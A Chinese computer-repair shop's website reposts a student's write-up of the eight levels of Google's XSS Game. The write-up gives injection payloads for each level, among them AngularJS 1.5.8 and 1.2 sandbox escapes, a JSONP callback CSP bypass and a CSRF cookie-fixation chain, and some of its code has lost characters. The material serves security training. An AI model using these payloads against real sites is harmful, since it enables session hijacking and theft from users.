锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
Google最新XSS Game Writeup

作者: 佚名  日期:2017-05-05 07:55:57   来源: 本站整理

 本文介绍了如何完成谷歌最新的XSSGame的过程,完成了这八个挑战就有机会获得Nexus 5x。实际上这八个挑战总体来说都不难,都是些常见的xss。通关要求是只要能弹出alert窗口即可。
第一关 
 反射型xss,在搜索框提交的内容最后会出现在结果页面的html代码里,没有任何过滤,直接搜索:
script>alert('freebuf')script>

第二关
 还是反射型,提交内容后会有一定延迟。通过查看html源码可以知道延迟的时间(timer=)被直接插入到了img标签里的onload事件里:
id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('');" />

 直接请求url:/?timer=’-alert(1)-’,通关。
第三关
 展示了一些猫的图片,当图片换了后,url只是变化了#后面的内容(#1 > #2),感觉可以通过这个id来反射xss
查看源代码:
function chooseTab() {
     var html = "Cat " + parseInt() + "
";
     html += " +  + ".jpg' />";
      
     document.getElementById('tabContent').innerHTML = html;
      
     // Select the current tab
     var tabs = document.querySelectorAll('.tab');
     for (var i = 0; i if (tabs[i].id == "tab" + parseInt()) {
             tabs[i].className = "tab active";
         } else {
             tabs[i].className = "tab";
         }
     }
      
     window.location.hash = ;
      
     // Tell parent we've changed the tab
     top.postMessage({'url': self.location.toString()}, "*");
}
 哼,根据上一关的灵感,感觉可以继续利用一下on事件,修改id后,图片肯定是不存在的,于是使用onerror:
    #1'onerror=alert(1)>

 
搞定
第四关
 打开后是一个注册页面,让我们填写邮箱地址,注册完成后通过url里面的next参数把我们跳转回主页,查看源码:
 script>
  setTimeout(function() { window.location = user provided>; }, 1000);
script>
 在html中,链接可以是js代码,比如:
a href="javascript:...">a>
直接请求这个跳转url:
confirm?next=javascript:alert(1)
 

第五关
 一个F歌(foogle)搜索框,使用了angularJS 1.5.8,感觉是爆过漏洞的,上某网搜索(angularjs 1.5.8 injection)找到利用方法:
?utm_term=&utm_campaign={{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

 第六关
 angularJS 1.2版本的搜索框,在搜索框中提交的内容最终进到了class为ng-non-bindable的div标签里:
  #普通的div标签
Normal: {{1 + 2}}
  #输出:Normal: 3
  #ng-non-bindable
Ignored: {{1 + 2}}
  #输出:Ignored: {{1 + 2}}
 随后发现如果直接提交花括弧会被删掉,于是使用“{”,最后构造这样一个url:
?query={{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
第七关
 通过GET(参数menu)和JSONP请求加载了一个博客页面,而响应的title,pictures会被处理为h1标签和img标签。关卡提示:common CSP bypass。
 猜测xss

可能会在menu参数里,JSONP里的callback参数(知识扩展)可以用来注入我们的js代码,开始构造我们的url:
?menu=base64_encode(script src="jsonp?callback=alert(1)%3b%2f%2f">script>)
第八关
 要求是对任何用户都有效,无论是登录的还是未登录的,要想通过必须得利用CSRF,self-xss,CSP。/transfer下是个很明显的反射性xss,所以难度在于怎样设置csrf_token可以匹配cookie。
 最后发现在登录后会有一个请求设置用户cookie并把用户重定向到主页,url如下:
 set?name=username&value=&redirect=index #作孽啊!
 根据这个url就可以猜测到后端代码写得是有多简陋。。。
有了这个作孽的东西,我们就可以设置自己的csrf_token并把用户重定向到/transfer,以便执行我们注入的js代码。构造如下url:
set?name=csrf_token&value=csrf_token>&redirect=url_encode(/transfer?name=freebufer&amount=3">script>alert(1)script>&csrf_token=csrf_token>)

写出这种代码的,在我们那是要被BGM的! 高中生第一次写writeup,如有不足望担待,勿喷。



热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等